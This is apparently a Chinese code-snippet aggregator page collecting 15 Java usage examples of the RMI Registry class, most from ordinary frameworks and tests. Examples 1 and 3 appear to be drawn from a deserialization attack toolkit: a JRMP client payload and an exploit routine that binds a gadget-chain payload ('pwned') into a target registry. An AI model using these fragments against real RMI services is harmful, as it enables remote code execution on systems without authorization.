本文整理汇总了Java中java.rmi.registry.Registry类的典型用法代码示例。如果您正苦于以下问题:Java Registry类的具体用法?Java Registry怎么用?Java Registry使用的例子?那么恭喜您, 这里精选的类代码示例或许可以为您提供帮助。
Registry类属于java.rmi.registry包,在下文中一共展示了Registry类的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。
示例1: getObject
import java.rmi.registry.Registry; //导入依赖的package包/类
public Registry getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}
示例2: setUpClass
import java.rmi.registry.Registry; //导入依赖的package包/类
@BeforeClass
public static void setUpClass() throws RemoteException, MalformedURLException, IOException {
Registry r = LocateRegistry.createRegistry(9999);
mbs = MBeanServerFactory.createMBeanServer();
person = new Test01_JavaIntrospection.Person("Alice Aho", 23);
person.knows = new Test01_JavaIntrospection.Person("Bob", 30);
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:9999/server");
cs = JMXConnectorServerFactory.newJMXConnectorServer(url, null, mbs);
if (cs == null) {
throw new RuntimeException("Could not setUpClass() for test! JMXConnectorServerFactory.newJMXConnectorServer FAILED (Returned null...)! Url: " + url + ", mbs: " + mbs);
}
cs.start();
System.out.println("Registry created / JMX connector started.");
}
示例3: exploit
import java.rmi.registry.Registry; //导入依赖的package包/类
public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
return null;
}});
}
示例4: getRegistry
import java.rmi.registry.Registry; //导入依赖的package包/类
@Override
protected Registry getRegistry(
String registryHost,
int registryPort,
RMIClientSocketFactory clientSocketFactory,
RMIServerSocketFactory serverSocketFactory) throws RemoteException
{
if(enabled)
{
return super.getRegistry(registryHost, registryPort, clientSocketFactory, serverSocketFactory);
}
else
{
throw new RemoteException(ERR_MSG_NOT_ENABLED);
}
}
示例5: main
import java.rmi.registry.Registry; //导入依赖的package包/类
public static void main(String[] args) {
try {
int registryPort = Integer.parseInt(System.getProperty("rmi.registry.port"));
Registry registry =
LocateRegistry.getRegistry("", registryPort);
ShutdownMonitor monitor = (ShutdownMonitor)
registry.lookup(KeepAliveDuringCall.BINDING);
System.err.println("(ShutdownImpl) retrieved shutdown monitor");
impl = new ShutdownImpl(monitor);
Shutdown stub = (Shutdown) UnicastRemoteObject.exportObject(impl);
System.err.println("(ShutdownImpl) exported shutdown object");
monitor.submitShutdown(stub);
System.err.println("(ShutdownImpl) submitted shutdown object");
} catch (Exception e) {
System.err.println("(ShutdownImpl) TEST SUBPROCESS FAILURE:");
e.printStackTrace();
}
}
示例6: getRegistry
import java.rmi.registry.Registry; //导入依赖的package包/类
/**
* Locate or create the RMI registry for this exporter.
* @param registryHost the registry host to use (if this is specified,
* no implicit creation of a RMI registry will happen)
* @param registryPort the registry port to use
* @param clientSocketFactory the RMI client socket factory for the registry (if any)
* @param serverSocketFactory the RMI server socket factory for the registry (if any)
* @return the RMI registry
* @throws RemoteException if the registry couldn't be located or created
*/
protected Registry getRegistry(String registryHost, int registryPort,
RMIClientSocketFactory clientSocketFactory, RMIServerSocketFactory serverSocketFactory)
throws RemoteException {
if (registryHost != null) {
// Host explicitly specified: only lookup possible.
if (logger.isInfoEnabled()) {
logger.info("Looking for RMI registry at port '" + registryPort + "' of host [" + registryHost + "]");
}
Registry reg = LocateRegistry.getRegistry(registryHost, registryPort, clientSocketFactory);
testRegistry(reg);
return reg;
}
else {
return getRegistry(registryPort, clientSocketFactory, serverSocketFactory);
}
}
示例7: getRegistry
import java.rmi.registry.Registry; //导入依赖的package包/类
/**
* Locate or create the RMI registry.
* @param registryHost the registry host to use (if this is specified,
* no implicit creation of a RMI registry will happen)
* @param registryPort the registry port to use
* @param clientSocketFactory the RMI client socket factory for the registry (if any)
* @param serverSocketFactory the RMI server socket factory for the registry (if any)
* @return the RMI registry
* @throws java.rmi.RemoteException if the registry couldn't be located or created
*/
protected Registry getRegistry(String registryHost, int registryPort,
RMIClientSocketFactory clientSocketFactory, RMIServerSocketFactory serverSocketFactory)
throws RemoteException {
if (registryHost != null) {
// Host explicitly specified: only lookup possible.
if (logger.isInfoEnabled()) {
logger.info("Looking for RMI registry at port '" + registryPort + "' of host [" + registryHost + "]");
}
Registry reg = LocateRegistry.getRegistry(registryHost, registryPort, clientSocketFactory);
testRegistry(reg);
return reg;
}
else {
return getRegistry(registryPort, clientSocketFactory, serverSocketFactory);
}
}
示例8: getRemoteScheduler
import java.rmi.registry.Registry; //导入依赖的package包/类
protected RemotableQuartzScheduler getRemoteScheduler()
throws SchedulerException {
if (rsched != null) {
return rsched;
}
try {
Registry registry = LocateRegistry.getRegistry(rmiHost, rmiPort);
rsched = (RemotableQuartzScheduler) registry.lookup(schedId);
} catch (Exception e) {
SchedulerException initException = new SchedulerException(
"Could not get handle to remote scheduler: "
+ e.getMessage(), e);
throw initException;
}
return rsched;
}
示例9: checkIfRegistryRunning
import java.rmi.registry.Registry; //导入依赖的package包/类
/**
* Helper method to determine if registry has started
*
* @param port The port number to check
* @param msTimeout The amount of milliseconds to spend checking
*/
public static boolean checkIfRegistryRunning(int port, int msTimeout) {
final long POLLTIME_MS = 100L;
long stopTime = computeDeadline(System.currentTimeMillis(), msTimeout);
do {
try {
Registry r = LocateRegistry.getRegistry(port);
String[] s = r.list();
// no exception. We're now happy that registry is running
return true;
} catch (RemoteException e) {
// problem - not ready ? Try again
try {
Thread.sleep(POLLTIME_MS);
} catch (InterruptedException ie) {
// not expected
}
}
} while (System.currentTimeMillis() < stopTime);
return false;
}
示例10: startRegistry
import java.rmi.registry.Registry; //导入依赖的package包/类
private Registry startRegistry()
throws InterruptedException, RemoteException {
Registry registry = null;
try {
System.out.println("Start rmiregistry on port " + port);
registry = LocateRegistry
.createRegistry(Integer.parseInt(port));
} catch (RemoteException e) {
if (e.getMessage().contains("Port already in use")) {
System.out.println("Port already in use. Trying to restart with a new one...");
Thread.sleep(100);
return null;
} else {
throw e;
}
}
return registry;
}
示例11: getRegistryPort
import java.rmi.registry.Registry; //导入依赖的package包/类
/**
* Returns the port number the RMI {@link Registry} is running on.
*
* @param registry the registry to find the port of.
* @return the port number the registry is using.
* @throws RuntimeException if there was a problem getting the port number.
*/
public static int getRegistryPort(Registry registry) {
int port = -1;
try {
RemoteRef remoteRef = ((RegistryImpl)registry).getRef();
LiveRef liveRef = ((UnicastServerRef)remoteRef).getLiveRef();
Endpoint endpoint = liveRef.getChannel().getEndpoint();
TCPEndpoint tcpEndpoint = (TCPEndpoint) endpoint;
port = tcpEndpoint.getPort();
} catch (Exception ex) {
throw new RuntimeException("Error getting registry port.", ex);
}
return port;
}
示例12: getRemoteEntityFromHost
import java.rmi.registry.Registry; //导入依赖的package包/类
public static Remote getRemoteEntityFromHost(String host, int puerto, String identEntity) throws java.rmi.RemoteException {
Registry regCliente = LocateRegistry.getRegistry(host, puerto);
Object remoteEntity = null;
// ItfUsoRecursoTrazas trazas = Directorio.getRecursoTrazas();
try {
if (regCliente == null) {
// System.err.println("buscarAgenteRemoto regCliente == null");
// if (trazas != null)
trazas.aceptaNuevaTraza(new InfoTraza("AdaptadorRegRMI", " No se puede obtener la entidad : "+
identEntity + " No se consigue encontrar el registro RMI del Host :" + host + " puerto:" + puerto, NivelTraza.debug));
}
return regCliente.lookup(identEntity);
} catch (Exception ex) {
System.err.println("Fallo buscaAgenteRemoto\n"+ ex.getMessage());
trazas.aceptaNuevaTraza(new InfoTraza("AdaptadorRegRMI", " No se puede obtener la entidad : "+
identEntity + " No se consigue encontrar el registro RMI del Host :" + host + " puerto:"+ puerto , NivelTraza.debug));
// Logger.getLogger(ComunicacionAgentes.class.getName()).log(Level.SEVERE, null, ex);
return null;
}
}
示例13: buscarAgenteRemoto
import java.rmi.registry.Registry; //导入依赖的package包/类
public static ItfUsoAgenteReactivo buscarAgenteRemoto(String ip, int puerto, String nombreAgente) throws java.rmi.RemoteException {
Registry regCliente = LocateRegistry.getRegistry(ip, puerto);
ItfUsoAgenteReactivo agenteRemoto = null;
// ItfUsoRecursoTrazas trazas = Directorio.getRecursoTrazas();
try {
if (regCliente == null) {
System.err.println("buscarAgenteRemoto regCliente == null");
if (trazas != null)
trazas.aceptaNuevaTraza(new InfoTraza("ControlRMI (null)", "No consigo encontrar al agente: "+
nombreAgente + " en ip:" + ip + " puerto:" + puerto, NivelTraza.error));
}
agenteRemoto = (ItfUsoAgenteReactivo) regCliente.lookup(nombreAgente);
return agenteRemoto;
} catch (Exception ex) {
System.err.println("Fallo buscaAgenteRemoto\n"+ ex.getMessage());
if (trazas != null)
trazas.aceptaNuevaTraza(new InfoTraza("ControlRMI (Excepcion)", "No consigo encontrar al agente: "+
nombreAgente + " en ip:" + ip + " puerto:" + puerto, NivelTraza.error));
// Logger.getLogger(ComunicacionAgentes.class.getName()).log(Level.SEVERE, null, ex);
return null;
}
}
示例14: getRemoteScheduler
import java.rmi.registry.Registry; //导入依赖的package包/类
protected RemotableQuartzScheduler getRemoteScheduler()
throws SchedulerException {
if (rsched != null) {
return rsched;
}
try {
Registry registry = LocateRegistry.getRegistry(rmiHost, rmiPort);
rsched = (RemotableQuartzScheduler) registry.lookup(schedId);
} catch (Exception e) {
SchedulerException initException = new SchedulerException(
"Could not get handle to remote scheduler: "
+ e.getMessage(), e);
initException
.setErrorCode(SchedulerException.ERR_COMMUNICATION_FAILURE);
throw initException;
}
return rsched;
}
示例15: unBind
import java.rmi.registry.Registry; //导入依赖的package包/类
/**
* <p>
* Un-bind the scheduler from an RMI registry.
* </p>
*/
private void unBind() throws RemoteException {
String host = resources.getRMIRegistryHost();
// don't un-export if we're not configured to do so...
if (host == null || host.length() == 0) {
return;
}
Registry registry = LocateRegistry.getRegistry(resources
.getRMIRegistryHost(), resources.getRMIRegistryPort());
String bindName = resources.getRMIBindName();
try {
registry.unbind(bindName);
UnicastRemoteObject.unexportObject(this, true);
} catch (java.rmi.NotBoundException nbe) {
}
getLog().info("Scheduler un-bound from name '" + bindName + "' in RMI registry");
}